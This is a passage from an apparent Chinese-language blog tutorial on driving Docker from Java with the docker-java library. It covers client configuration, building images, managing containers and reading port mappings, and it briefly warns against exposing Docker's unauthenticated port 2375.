#DOCKER_CERT_PATH=/home/user/.docker/certs
#DOCKER_CONFIG=/home/user/.docker

# 私有 registry 搭建,镜像不是很多可以不用
#registry.url=http://url:5000/v2/
#registry.username=QST
#registry.password=QinShutian
#registry.email=qst@ckw.com

项目上线时 tls 这部分可能很重要, docker 服务本身没有身份验证机制,公网上 2375 端口暴露会使黑客甚至任何人都能够恶意操作 docker 。

故而如果不可避免地要暴露 docker 服务,不能使用 2375 端口。

目前作者的项目体量小,服务全在本地,封闭 2375 不让外界访问即可,故此处不展开。

0x02x02 设置 DockerClient

基本使用官方文档中的示例即可。

如果使用 docker-java.properties , createDefaultConfigBuilder() 创建的默认 config 中,属性即为你配置文件中所写的属性。如果代码中需要改动,也可以在 build 前使用 with 方法注入。

1
2
3
4
5
6
7
8
9
DockerClientConfig config = DefaultDockerClientConfig.createDefaultConfigBuilder().build();
DockerHttpClient httpClient = new ApacheDockerHttpClient.Builder()
.dockerHost(config.getDockerHost())
.sslConfig(config.getSSLConfig())
.maxConnections(100)
.connectionTimeout(Duration.ofSeconds(30))
.responseTimeout(Duration.ofSeconds(45))
.build();
DockerClient dockerClient = DockerClientImpl.getInstance(config, httpClient);

DockerClient 创建完成后,接下来就可以相对优雅地调用 dockerAPI 了。

0x03 操作 docker (基于 dockerfile )

docker-java 提供的方法其实非常全面,基本建立了 dockerClient 就能涵盖对 docker 服务的所有操作。这里拣最基本最重要的介绍一下。

作者主要用到的是自定义镜像和容器管理,未涉及镜像仓库管理( pull&push )。

0x03x01 dockerClient 用法

dockerClient 中方法的使用基本都一致。

1
2
XxxxxxCmd cmd = dockerClient.xxxxxxCmd().withxxx().withxxx(); // 创建命令
cmd.exec() // 执行命令(同步)

.exec() 方法这里分为同步的和异步的。

开发者大概是考虑到部分 docker 操作工程量比较大,耗时长,故把这些操作的原型统一为异步抽象类。与同步操作的区别就是这里异步操作的 .exec() 方法需要指定回调。

翻了一下源码,异步操作比较少,但有几个还是很常用的。

![23-10-21-Docker-Java 使用 1](.._pics\23-10-21-Docker-Java 使用 1.png)

异步操作的 .exec() 方法是有参的。

1
.exec(callback)

故而要先实例化一个对应的 callback 对象。

1
XxxxxxCallback callback = new XxxxxxCallback();

也可以重写函数体输出一些调试信息之类的,当然正常使用也行。

1
2
3
4
5
6
XxxxxxResultCallback callback = new XxxxxxResultCallback(){
@override
public void onNext(XxxxResponseItem item) {
// your action
}
};

0x03x02 创建镜像

1
2
3
4
String imageName; // 镜像名
String dockerfilePath; // dockerfile 路径
File dockerfile = new File(dockerfilePath); //dockerfile 对象
String containerName; // 容器名

docker-java 没有直接调用 docker run 的接口 ,这是因为 run 本质上就是 build + create 两步操作依次进行。故而这里首先介绍一下 build 。

示例:

1
2
3
4
BuildImageResultCallback callback=new BuildImageResultCallback(); // 创建 buildImage 的回调
// 创建镜像
dockerClient.buildImageCmd(dockerfile).withTag("local/" + imageName).exec(callback).awaitImageId(); // await阻塞,等待异步线程执行完(相当于)
log.info("Image built. => " + dockerClient.listImagesCmd().exec().get(0));

这里 withTag(String tag) 会报过时,代码建议是换用withTags(Set<String> tags) (因为 docker 一个镜像可以打很多 tag )。想用就用,影响不大。

0x03x03 创建容器

示例:

1
2
3
4
// 创建容器
dockerClient.createContainerCmd("").withName(containerName).withEnv("ENVxxx=xxx")
.withPortBindings(PortBinding.parse("80:")).withImage("local/" + imageName).exec();
log.info("Container created. => " + dockerClient.listContainersCmd().withShowAll(true).exec().get(0));

参数不一一解释了,挺直观的。

0x03x04 启动容器

示例:

1
2
3
4
5
6
7
8
// 启动容器
dockerClient.startContainerCmd(containerName).exec();
try {
Thread.sleep(500);
} catch (Exception ignoredE) {} // 这里为什么要 sleep ?
// 获取容器信息
Container container = dockerClient.listContainersCmd().withShowAll(true).exec().get(0);
log.info("Container started. => " + container);

*** 什么获取容器信息之前要 sleep ? ***

0x03x05 获取端口映射

注意到创建容器的时候建立了一个端口映射:

.withPortBindings(PortBinding.parse(“80:”))

意为将容器的 80 端口映射到宿主机的随机端口。

端口映射:

1
2
80:       #将容器 80 端口映射到宿主机随机(高阶)端口
80:8080 #将容器 80 端口映射到宿主机指定端口(8080)

由于随机端口映射是在容器启动时确定的,故而容器启动后才能 get 到。

回到上一小节启动的容器:

1
Container container = dockerClient.listContainersCmd().withShowAll(true).exec().get(0);

可以直接从 container 中获得端口信息:

1
Integer port = container.getPorts()[0].getPublicPort();

回到刚才的问题,启动容器和获取信息过程之间为什么要 sleep ?

经过我的测试,刚启动的 container 的端口映射是不稳定的,需要经历很短时间的分发过程。当你在创建完端口之后立即得到 Container 对象,其端口信息与后来在 docker 服务里看到的端口信息不符。故而要 sleep ,等待端口映射稳定。如此这般。

0x03x06 关闭&删除容器

示例:

1
2
3
4
5
6
// 关闭容器
dockerClient.killContainerCmd(containerName).exec();
log.info("Container killed. => " + containerName);
// 删除容器
dockerClient.removeContainerCmd(containerName).exec();
log.info("Container removed. => " + containerName);

0x03x07 其他操作

pull、push 等,其调用大同小异,甚至不用翻源码,看代码提示即可。命令构造器构造命令,根据需求适当通过 withXxx 方法加参数,最后调用 .exec() 方法执行之。(异步方法有参,传入实例化的对应 XxxxxxCallback )

0x04 总结

大概这些。后面要开一下 TLS 。